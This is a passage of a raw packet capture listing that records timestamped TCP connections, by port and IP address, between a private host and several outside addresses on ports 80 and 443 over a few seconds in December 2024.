Dec 16, 2024 15:02:33.806636095 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.806648970 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.816951990 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.816987991 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.817043066 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.817348957 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.817397118 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.817445993 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.817570925 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.817584038 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.817763090 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.817779064 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.823581934 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:33.823599100 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:33.823689938 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:33.845215082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:33.926750898 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.926788092 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:33.926843882 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.927102089 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:33.927113056 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:34.313268900 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.313318014 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.314635038 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.314877987 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.314891100 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.537322044 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.537425995 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.545262098 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.556407928 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.556407928 CET	49932	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.556427956 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.556437016 CET	443	49932	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.567291021 CET	49955	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.567346096 CET	443	49955	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.569753885 CET	49955	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.570426941 CET	49955	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:34.570449114 CET	443	49955	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:34.995079041 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995100021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995116949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995174885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.995174885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.995187044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995203972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995218992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995234013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995269060 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.995296001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.995296001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.995930910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995949030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995965958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:34.995992899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.995992899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:34.996535063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.088435888 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:35.088529110 CET	49911	80	192.168.2.6	185.215.113.206
Dec 16, 2024 15:02:35.115225077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.115268946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.115334034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.115334034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.187189102 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.187232971 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.187336922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.188250065 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.191443920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.191477060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.191526890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.191606998 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.199778080 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.199870110 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.200089931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.201519966 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.208302975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.208571911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.208972931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.216860056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.216964006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.217222929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.225404024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.225483894 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.225836039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.225836039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.233918905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.233954906 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.234189034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.242464066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.242502928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.242616892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.250996113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.251066923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.251084089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.251123905 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.259798050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.259854078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.259886980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.260010004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.267169952 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.267257929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.267272949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.267330885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.307135105 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.307231903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.378961086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.379050970 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.379084110 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.379132986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.382901907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.383043051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.384241104 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.384346962 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.384427071 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.384427071 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.391866922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.391967058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.392049074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.399732113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.399882078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.399960995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.399960995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.404648066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.404740095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.404810905 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.409543037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.409634113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.409648895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.409789085 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.414448977 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.414555073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.414731026 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.414932013 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.419260979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.419322014 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.419341087 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.419370890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.424127102 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.424175978 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.424218893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.424218893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.428863049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.428951025 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.428986073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.428986073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.434297085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.434405088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.434465885 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.434524059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.438559055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.438659906 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.438687086 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.439030886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.442426920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.442497015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.442527056 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.442548990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.446136951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.446183920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.446233034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.446233034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.449954987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.450005054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.450186968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.453883886 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.453922987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.453974962 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.453974962 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.457673073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.457803011 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.457864046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.458249092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.461429119 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.461534977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.461549044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.461641073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.465296984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.465419054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.465426922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.465462923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.469048977 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.469142914 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.469156981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.469199896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.472908974 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.473143101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.502412081 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.502739906 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.503098011 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.503123045 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.504168034 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.504231930 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.505172968 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.505254030 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.506325006 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.506400108 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.506614923 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.506700993 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.506720066 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.507458925 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.507776022 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.507860899 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.508153915 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.508173943 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.508557081 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.508584976 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.508692980 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.508711100 CET	443	49940	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.509207010 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.509269953 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.509852886 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.509912968 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.510962009 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.510983944 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.511311054 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.511389017 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.511930943 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.512026072 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.512331009 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.512355089 CET	443	49944	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.514210939 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.514228106 CET	443	49945	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.551069021 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.551196098 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.555704117 CET	49944	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.555712938 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.571310043 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.571403027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.571516037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.572897911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.573024035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.573133945 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.576106071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.576220036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.576323986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.579358101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.579533100 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.579611063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.582590103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.582694054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.582798004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.585689068 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.585912943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.586150885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.588983059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.589013100 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.589099884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.589099884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.591645002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.591741085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.591825008 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.594508886 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.594623089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.594727993 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.597328901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.597390890 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.597636938 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.600095034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.600183010 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.600274086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.601289034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.603043079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.603210926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.603337049 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.605660915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.605762005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.605977058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.608419895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.608433008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.608783960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.608783960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.611179113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.611279011 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.611334085 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.613925934 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.613987923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.614043951 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.616647959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.616736889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.616889000 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.617186069 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.617343903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.619432926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.619514942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.619518042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.621474028 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.622179985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.622302055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.622337103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.624922991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.624986887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.625000954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.625328064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.627778053 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.627826929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.627958059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.627958059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.630703926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.630836010 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.630903959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.630903959 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.631333113 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.631359100 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.631706953 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.633388042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.633416891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.633553982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.633553982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.636019945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.636099100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.636148930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.637312889 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.638942003 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.638998985 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.639075041 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.639080048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.639118910 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.639337063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.640263081 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.640341043 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.641534090 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.641551971 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.641621113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.644356966 CET	49940	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.644390106 CET	49945	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.677406073 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.695451975 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.695511103 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.697360992 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.697415113 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.700370073 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.700417042 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.700663090 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.700700998 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.701354027 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.701395035 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.704272032 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.704302073 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.704313040 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.704319954 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.704456091 CET	49954	443	192.168.2.6	104.21.50.161
